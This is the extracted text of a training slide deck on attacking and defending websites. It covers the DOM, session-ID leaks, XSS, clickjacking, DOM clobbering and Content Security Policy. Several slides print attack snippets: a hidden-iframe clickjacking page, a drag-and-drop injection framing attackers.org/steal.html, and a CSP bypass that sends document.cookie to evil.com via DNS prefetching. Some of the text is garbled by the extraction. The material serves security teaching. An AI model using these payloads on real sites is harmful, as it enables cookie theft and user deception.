secure web development – attack and defend websites from ...€¦ · web application hacking –...

15
Introduction Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2 Secure Coding 1/2 Secure Coding 2/2 Secure Web Development – Attack and Defend Websites from the Perspective of a Web Developer Marcus Niemietz Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 1

Upload: others

Post on 12-Jul-2020

6 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Secure Web Development –Attack and Defend Websites from the Perspective

of a Web Developer

Marcus Niemietz

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 1

Page 2: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Table of Contents

1 Introduction

2 Web Application Hacking – Easy

3 Web Application Hacking – Di�cult 1/2

4 Web Application Hacking – Di�cult 2/2

5 Secure Coding 1/2

6 Secure Coding 2/2

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 3

Page 3: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

HTTP, HTML, CSS, XML und das DOMSocial Engineering and Information DisclosureLogical FlawsSame-Origin Policy

Document Object Model

window

document <html>'

e.g.,'main'HTML'document' e.g.,'iFrame'

head <head>'

body <body>'

<img'src="URL3"'name="bear">'

<iframe'src="URL2"'id="ID1">'

document <html>'

doctype XHTML'

head <head>'

<script'src="URL1">'

window. frames[0]

doctype HTML'5'

body <body>'

<link'src="URL4">'

img.src=URL3'

id=ID1

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 60

Page 4: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

HTTP, HTML, CSS, XML und das DOMSocial Engineering and Information DisclosureLogical FlawsSame-Origin Policy

Information Leak

Session ID in URLLeak via refererAccess with the help of JavaScriptQuestion: how can we fix this problem?

Example: phpBB

http://example.org automatically redirects tohttp://example.org/index.php?sid=<SessionID>

Steal the referer with the help of <img>

Fake the user agent

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 82

Page 5: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

HTTP, HTML, CSS, XML und das DOMSocial Engineering and Information DisclosureLogical FlawsSame-Origin Policy

Data Types in JavaScript

’5’-3 // 2

’5’+3 // 53

’5’-’4’ // 1

’5’+ +’4’ // 54

’foo’+ +’4’ // foo4

’foo’+ +’foo’ // fooNaN (Not a Number)

0.1 + 0.1 // 0.2

0.1 + 0.2 // 0.30000000000000004

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 91

Page 6: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Cross-Site Scripting

DOM XSS Wiki

URL: http://code.google.com/p/domxsswiki/

Regular Expressions

Sources

1 /( location\s*[\[.]) |([.\[]\s*[" ']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?| showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|( localStorage|sessionStorage|Database)/

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 152

Page 7: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Cross-Site Scripting

http://twitter.com/#!javascript::Payload

Second fix. Exploitable – g (global match)?

1 (function(g){2 var a=location.href.split ("#!") [1];3 if(a){4 g.location=g.HBR=a.replace (/:/gi ,"");5 }6 }7 )(window);

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 155

Page 8: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Classic Clickjacking

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 185

Page 9: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Classic Clickjacking

attackers.org

1 <h1 >Funny pictures </h1 >2 <img src="lol.gif">3 <button >Click me </button >4 <img src="lol.gif">5 <iframe style=" position:absolute; z-index :1;

opacity :0.0; filter:alpha(opacity =0); left:-120px; top :95px;" width ="300" height="200" src="http :// www.bing.com">

6 </iframe >

https://www.youtube.com/watch?v=Q-RZXz6SP1o

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 186

Page 10: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Classic Clickjacking

Property Browser

-moz-opacity: 0.50; Firefox <0.9-khtml-opacity: 0.50; Safari <1.2filter:alpha(opacity=50); Internet Explorer 5, 6, 7filter:progid:DXImageTransform. Internet Explorer 8Microsoft.Alpha(opacity=50);

opacity: 0.50; Other browsers

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 187

Page 11: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Text injection via Drag-and-Drop

Drag and drop data across elements

No protection via the SOP

//example.org/dragAndDrop.html

1 <div draggable ="true" ondragstart =" event.dataTransfer.setData( text/plain ,malicious code);">

2 <h1 >Drop me </h1 >3 </div >4 <iframe src ="// attackers.org/steal.html" style

=" border :1px solid ;" frameborder ="yes">5 </iframe >

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 193

Page 12: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

Cross-Site Request ForgeryCross-Site ScriptingSession Hijacking and Session FixationUI Redressing

Internet Explorer XSS Filter

Frame Busting-Code

1 <script type="text/javascript">2 if (parent.frames.length > 0){3 top.location.replace(document.location);4 }5 </script >

IE attack with the XSS filter

1 <iframe src="http :// www.example.org/?abc =%3Cscript %20 type =%22 text/javascript %22%3 Eif"></iframe >

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 212

Page 13: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

DOM ClobberingFile Inclusions and Path TraversalRemote Command and Code ExecutionSQL Injections & noSQL

DOM Clobbering

HTML form

1 <form id="a">2 <input id="b" />3 </form >

window.a – [object HTMLFormElement]

window.b – [object HTMLInputElement]

a.b – [object HTMLInputElement]

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 223

Page 14: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

HTML5 sandbox attributeContent Security PolicyPentesting ToolsSecurity RequirementsQuestion Time

Content Security Policy

Include of http://evil.example.com/image.png leads to:

JSON via POST

1 {2 ”csp�r e p o r t ” : {3 ”document�u r i ” : ” h t tp : // example . o rg /page . html ” ,4 ” r e f e r r e r ” : ” h t tp : // e v i l . example . com/ haxor . html ” ,5 ” b locked�u r i ” : ” h t tp : // e v i l . example . com/ image . png ” ,6 ” v i o l a t e d�d i r e c t i v e ” : ” d e f a u l t�s r c ' s e l f '” ,7 ” o r i g i n a l�p o l i c y ” : ” d e f a u l t�s r c ' s e l f ' ; r e po r t�u r i h t tp : // example . o rg /

csp�r e p o r t . c g i ”8 }9 }

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 418

Page 15: Secure Web Development – Attack and Defend Websites from ...€¦ · Web Application Hacking – Easy Web Application Hacking – Dicult 1/2 Web Application Hacking – Dicult 2/2

IntroductionWeb Application Hacking – Easy

Web Application Hacking – Di�cult 1/2Web Application Hacking – Di�cult 2/2

Secure Coding 1/2Secure Coding 2/2

HTML5 sandbox attributeContent Security PolicyPentesting ToolsSecurity RequirementsQuestion Time

CSP Bypass via DNS-Prefetching

CSP does not protect you against prefetching attacks

CSP Bypass via DNS-Prefetching

1 document.write("<a href = '//+" document.cookie+". evil.com '></a>");

Question: how does the CSP bypass work? Which HTTPheader protects you?

Internal use only – Marcus Niemietz, Hackmanit GmbH Secure Web Development – Page 421